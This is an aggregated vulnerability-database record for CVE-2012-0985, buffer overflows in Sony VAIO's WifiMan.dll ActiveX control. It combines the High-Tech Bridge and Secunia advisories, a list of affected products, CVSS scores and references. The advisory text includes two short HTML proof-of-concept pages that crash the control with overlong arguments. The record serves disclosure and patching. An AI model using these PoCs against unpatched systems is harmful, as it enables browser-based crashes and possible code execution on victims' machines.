Sign-up

ID

VAR-201206-0197


CVE

CVE-2012-0985


TITLE

plural Sony Product Wireless Manager ActiveX Control buffer overflow vulnerability

Trust: 0.8

sources: JVNDB: JVNDB-2012-002641

DESCRIPTION

Multiple buffer overflows in the Wireless Manager ActiveX control 4.0.0.0 in WifiMan.dll in Sony VAIO PC Wireless LAN Wizard 1.0; VAIO Wireless Wizard 1.00, 1.00_64, 1.0.1, 2.0, and 3.0; SmartWi Connection Utility 4.7, 4.7.4, 4.8, 4.9, 4.10, and 4.11; and VAIO Easy Connect software 1.0.0 and 1.1.0 allow remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long string in the second argument of the (1) SetTmpProfileOption or (2) ConnectToNetwork method. Sony VAIO Wireless Manager ActiveX control ('WifiMan.dll') is prone to multiple buffer-overflow vulnerabilities because the application fails to perform adequate boundary checks on user-supplied input. Attackers may exploit these issues to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts will likely result in denial-of-service conditions. Sony VAIO Wireless Manager 4.0.0.0 is vulnerable; prior versions may also be affected. Sony VAIO is a computer system produced by Sony Corporation. If the attack fails, it will result in a denial of service. Advisory ID: HTB23063 Product: Wireless Manager Sony VAIO Vendor: Sony Computers Vulnerable Version(s): 4.0.0.0 and probably prior Tested Version: 4.0.0.0 Vendor Notification: 7 December 2011 Vendor Patch: 20 January 2012 Public Disclosure: 30 May 2012 Vulnerability Type: Buffer Overflow CVE Reference: CVE-2012-0985 Solution Status: Fixed by Vendor Risk Level: High Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge SA Security Research Lab has discovered 2 buffer overflow vulnerabilities in Wireless Manager Sony VAIO which can be exploited to execute arbitrary code on vulnerable system. 1) Buffer Overflow in Wireless Manager Sony VAIO: CVE-2012-0985 1.1 The method SetTmpProfileOption() in WifiMan.dll library does not properly check the length of string parameters. The following PoC will crash the application: <HTML> <BODY> <object id=ctrl classid="clsid:{92E7DDED-BBFE-4DDF-B717-074E3B602D1B}"></object> <SCRIPT> function Do_() { arg1=1 arg2=String(8212, "X") arg3="defaultV" SetTmpProfileOption arg1 ,arg2 ,arg3 } </SCRIPT> <input language=JavaScript onclick=Do_() type=button value="Sony_POC"> </BODY> </HTML> 1.2 The method ConnectToNetwork() in WifiMan.dll library does not properly check the length of string parameters. The following PoC will crash the application: <HTML> <BODY> <object id=ctrl classid="clsid:{92E7DDED-BBFE-4DDF-B717-074E3B602D1B}"></object> <SCRIPT> function Do_() { arg1=1 arg2=String(6164, "X") target.ConnectToNetwork arg1 ,arg2 } </SCRIPT> <input language=JavaScript onclick=Do_() type=button value="Sony_POC"> </BODY> </HTML> ----------------------------------------------------------------------------------------------- Solution: Sony has released a security update for the Affected Models that resolves this issue. Sony recommends that all customers who have Affected Models immediately install the latest version of the software by using VAIO Update. Note: If you are using the default VAIO Update settings the update will be installed automatically. More information and security update: <a href="http://esupport.sony.com/US/perl/support-info.pl?template_id=1&info_id=946" target="_blank">http://esupport.sony.com/US/perl/support-info.pl?template_id=1&info_id=946</a> ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23063 - https://www.htbridge.com/advisory/HTB23063 - Buffer Overflow in Wireless Manager Sony VAIO. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. ---------------------------------------------------------------------- Become a PSI 3.0 beta tester! Test-drive the new beta version and tell us what you think about its extended automatic update function and significantly enhanced user-interface. Download it here! http://secunia.com/psi_30_beta_launch ---------------------------------------------------------------------- TITLE: Sony VAIO WifiMan ActiveX Control Two Buffer Overflow Vulnerabilities SECUNIA ADVISORY ID: SA49340 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/49340/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=49340 RELEASE DATE: 2012-06-01 DISCUSS ADVISORY: http://secunia.com/advisories/49340/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/49340/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=49340 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: High-Tech Bridge SA has reported two vulnerabilities in Sony VAIO WifiMan ActiveX Control, which can be exploited by malicious people to compromise a user's system. Successful exploitation of the vulnerabilities may allow execution of arbitrary code. PROVIDED AND/OR DISCOVERED BY: High-Tech Bridge SA ORIGINAL ADVISORY: Sony: http://esupport.sony.com/US/perl/support-info.pl?template_id=1&info_id=946 High-Tech Bridge SA: https://www.htbridge.com/advisory/HTB23063 OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Trust: 2.25

sources: NVD: CVE-2012-0985 // JVNDB: JVNDB-2012-002641 // BID: 53735 // VULHUB: VHN-54266 // VULMON: CVE-2012-0985 // PACKETSTORM: 113131 // PACKETSTORM: 113193

AFFECTED PRODUCTS

vendor:sonymodel:vaio pc wireless lan wizardscope:eqversion:1.0

Trust: 1.8

vendor:sonymodel:vaio wireless wizardscope:eqversion:1.00

Trust: 1.8

vendor:sonymodel:vaio wireless wizardscope:eqversion:1.00_64

Trust: 1.8

vendor:sonymodel:vaio wireless wizardscope:eqversion:2.0

Trust: 1.8

vendor:sonymodel:smartwi connection utillityscope:eqversion:4.7.4

Trust: 1.6

vendor:sonymodel:smartwi connection utillityscope:eqversion:4.9

Trust: 1.6

vendor:sonymodel:vaio easy connectscope:eqversion:1.1.0

Trust: 1.6

vendor:sonymodel:vaio wireless wizardscope:eqversion:3.0

Trust: 1.6

vendor:sonymodel:vaio wireless wizardscope:eqversion:1.01

Trust: 1.6

vendor:sonymodel:smartwi connection utillityscope:eqversion:4.11

Trust: 1.6

vendor:sonymodel:smartwi connection utillityscope:eqversion:4.8

Trust: 1.6

vendor:sonymodel:vaio easy connectscope:eqversion:1.0.0

Trust: 1.6

vendor:sonymodel:smartwi connection utillityscope:eqversion:4.7

Trust: 1.6

vendor:sonymodel:smartwi connection utillityscope:eqversion:4.10

Trust: 1.6

vendor:sonymodel:smartwi connection utilityscope:eqversion:4.7

Trust: 0.8

vendor:sonymodel:smartwi connection utilityscope:eqversion:4.7.4

Trust: 0.8

vendor:sonymodel:smartwi connection utilityscope:eqversion:4.8

Trust: 0.8

vendor:sonymodel:smartwi connection utilityscope:eqversion:4.9

Trust: 0.8

vendor:sonymodel:smartwi connection utilityscope:eqversion:4.10

Trust: 0.8

vendor:sonymodel:smartwi connection utilityscope:eqversion:and 4.11

Trust: 0.8

vendor:sonymodel:vaio easy connectscope:eqversion:software 1.0.0 and 1.1.0

Trust: 0.8

vendor:sonymodel:vaio wireless wizardscope:eqversion:1.0.1

Trust: 0.8

vendor:sonymodel:vaio wireless wizardscope:eqversion:and 3.0

Trust: 0.8

vendor:sonymodel:vaio wireless managerscope:eqversion:4.0.0.0

Trust: 0.3

sources: BID: 53735 // JVNDB: JVNDB-2012-002641 // CNNVD: CNNVD-201205-543 // NVD: CVE-2012-0985

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2012-0985
value: HIGH

Trust: 1.0

NVD: CVE-2012-0985
value: HIGH

Trust: 0.8

CNNVD: CNNVD-201205-543
value: CRITICAL

Trust: 0.6

VULHUB: VHN-54266
value: HIGH

Trust: 0.1

VULMON: CVE-2012-0985
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2012-0985
severity: HIGH
baseScore: 9.3
vectorString: AV:N/AC:M/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 8.6
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.9

VULHUB: VHN-54266
severity: HIGH
baseScore: 9.3
vectorString: AV:N/AC:M/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 8.6
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: VULHUB: VHN-54266 // VULMON: CVE-2012-0985 // JVNDB: JVNDB-2012-002641 // CNNVD: CNNVD-201205-543 // NVD: CVE-2012-0985

PROBLEMTYPE DATA

problemtype:CWE-119

Trust: 1.9

sources: VULHUB: VHN-54266 // JVNDB: JVNDB-2012-002641 // NVD: CVE-2012-0985

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201205-543

TYPE

buffer overflow

Trust: 0.6

sources: CNNVD: CNNVD-201205-543

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2012-002641

EXPLOIT AVAILABILITY
sources:
            
            
            VULHUB: VHN-54266 // 
            
            
            
            VULMON: CVE-2012-0985

PATCH
title:Security Update Program for VAIO Personal Computersurl:http://esupport.sony.com/US/perl/support-info.pl?template_id=1&info_id=946
Trust: 0.8
sources:
            
            
            JVNDB: JVNDB-2012-002641

EXTERNAL IDS
db:NVDid:CVE-2012-0985
Trust: 3.0
db:BIDid:53735
Trust: 2.1
db:SECUNIAid:49340
Trust: 2.0
db:EXPLOIT-DBid:18958
Trust: 1.8
db:OSVDBid:82401
Trust: 1.8
db:JVNDBid:JVNDB-2012-002641
Trust: 0.8
db:CNNVDid:CNNVD-201205-543
Trust: 0.7
db:BUGTRAQid:20120530 2 BUFFER OVERFLOWS IN WIRELESS MANAGER SONY VAIO
Trust: 0.6
db:NSFOCUSid:19725
Trust: 0.6
db:XFid:75978
Trust: 0.6
db:PACKETSTORMid:113131
Trust: 0.2
db:IMMUNIWEBid:HTB23063
Trust: 0.2
db:SEEBUGid:SSVID-72947
Trust: 0.1
db:VULHUBid:VHN-54266
Trust: 0.1
db:VULMONid:CVE-2012-0985
Trust: 0.1
db:PACKETSTORMid:113193
Trust: 0.1
sources:
            
            
            VULHUB: VHN-54266 // 
            
            
            
            VULMON: CVE-2012-0985 // 
            
            
            
            BID: 53735 // 
            
            
            
            JVNDB: JVNDB-2012-002641 // 
            
            
            
            PACKETSTORM: 113131 // 
            
            
            
            PACKETSTORM: 113193 // 
            
            
            
            CNNVD: CNNVD-201205-543 // 
            
            
            
            NVD: CVE-2012-0985

REFERENCES
url:http://www.securityfocus.com/bid/53735
Trust: 1.9
url:http://archives.neohapsis.com/archives/bugtraq/2012-05/0147.html
Trust: 1.8
url:http://www.exploit-db.com/exploits/18958
Trust: 1.8
url:http://osvdb.org/82401
Trust: 1.8
url:http://secunia.com/advisories/49340
Trust: 1.8
url:http://esupport.sony.com/us/perl/support-info.pl?template_id=1&info_id=946
Trust: 1.8
url:https://exchange.xforce.ibmcloud.com/vulnerabilities/75978
Trust: 1.2
url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-0985
Trust: 0.8
url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2012-0985
Trust: 0.8
url:http://xforce.iss.net/xforce/xfdb/75978
Trust: 0.6
url:http://www.nsfocus.net/vulndb/19725
Trust: 0.6
url:http://www.sony.co.uk/hub/vaio-laptops
Trust: 0.4
url:/archive/1/522916
Trust: 0.3
url:https://www.htbridge.com/advisory/htb23063
Trust: 0.2
url:http://esupport.sony.com/us/perl/support-info.pl?template_id=1&amp;info_id=946
Trust: 0.1
url:https://cwe.mitre.org/data/definitions/119.html
Trust: 0.1
url:https://nvd.nist.gov
Trust: 0.1
url:https://www.exploit-db.com/exploits/18958/
Trust: 0.1
url:https://www.htbridge.com/advisory/
Trust: 0.1
url:http://esupport.sony.com/us/perl/support-info.pl?template_id=1&info_id=946"
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2012-0985
Trust: 0.1
url:http://esupport.sony.com/us/perl/support-info.pl?template_id=1&info_id=946</a>
Trust: 0.1
url:http://cve.mitre.org/
Trust: 0.1
url:http://secunia.com/psi_30_beta_launch
Trust: 0.1
url:http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
Trust: 0.1
url:http://secunia.com/vulnerability_intelligence/
Trust: 0.1
url:http://secunia.com/advisories/secunia_security_advisories/
Trust: 0.1
url:http://secunia.com/advisories/49340/
Trust: 0.1
url:https://ca.secunia.com/?page=viewadvisory&vuln_id=49340
Trust: 0.1
url:http://secunia.com/vulnerability_scanning/personal/
Trust: 0.1
url:http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
Trust: 0.1
url:http://secunia.com/advisories/49340/#comments
Trust: 0.1
url:http://secunia.com/advisories/about_secunia_advisories/
Trust: 0.1
sources:
            
            
            VULHUB: VHN-54266 // 
            
            
            
            VULMON: CVE-2012-0985 // 
            
            
            
            BID: 53735 // 
            
            
            
            JVNDB: JVNDB-2012-002641 // 
            
            
            
            PACKETSTORM: 113131 // 
            
            
            
            PACKETSTORM: 113193 // 
            
            
            
            CNNVD: CNNVD-201205-543 // 
            
            
            
            NVD: CVE-2012-0985

CREDITS
High-Tech Bridge SA
Trust: 1.0
sources:
            
            
            BID: 53735 // 
            
            
            
            PACKETSTORM: 113131 // 
            
            
            
            CNNVD: CNNVD-201205-543

SOURCES
db:VULHUBid:VHN-54266
db:VULMONid:CVE-2012-0985
db:BIDid:53735
db:JVNDBid:JVNDB-2012-002641
db:PACKETSTORMid:113131
db:PACKETSTORMid:113193
db:CNNVDid:CNNVD-201205-543
db:NVDid:CVE-2012-0985

LAST UPDATE DATE
2025-04-11T23:10:44.539000+00:00

SOURCES UPDATE DATE
db:VULHUBid:VHN-54266date:2017-08-29T00:00:00
db:VULMONid:CVE-2012-0985date:2017-08-29T00:00:00
db:BIDid:53735date:2012-05-30T00:00:00
db:JVNDBid:JVNDB-2012-002641date:2012-06-11T00:00:00
db:CNNVDid:CNNVD-201205-543date:2012-06-01T00:00:00
db:NVDid:CVE-2012-0985date:2025-04-11T00:51:21.963

SOURCES RELEASE DATE
db:VULHUBid:VHN-54266date:2012-06-07T00:00:00
db:VULMONid:CVE-2012-0985date:2012-06-07T00:00:00
db:BIDid:53735date:2012-05-30T00:00:00
db:JVNDBid:JVNDB-2012-002641date:2012-06-11T00:00:00
db:PACKETSTORMid:113131date:2012-05-30T23:51:10
db:PACKETSTORMid:113193date:2012-06-01T09:14:09
db:CNNVDid:CNNVD-201205-543date:2012-05-30T00:00:00
db:NVDid:CVE-2012-0985date:2012-06-07T19:55:06.993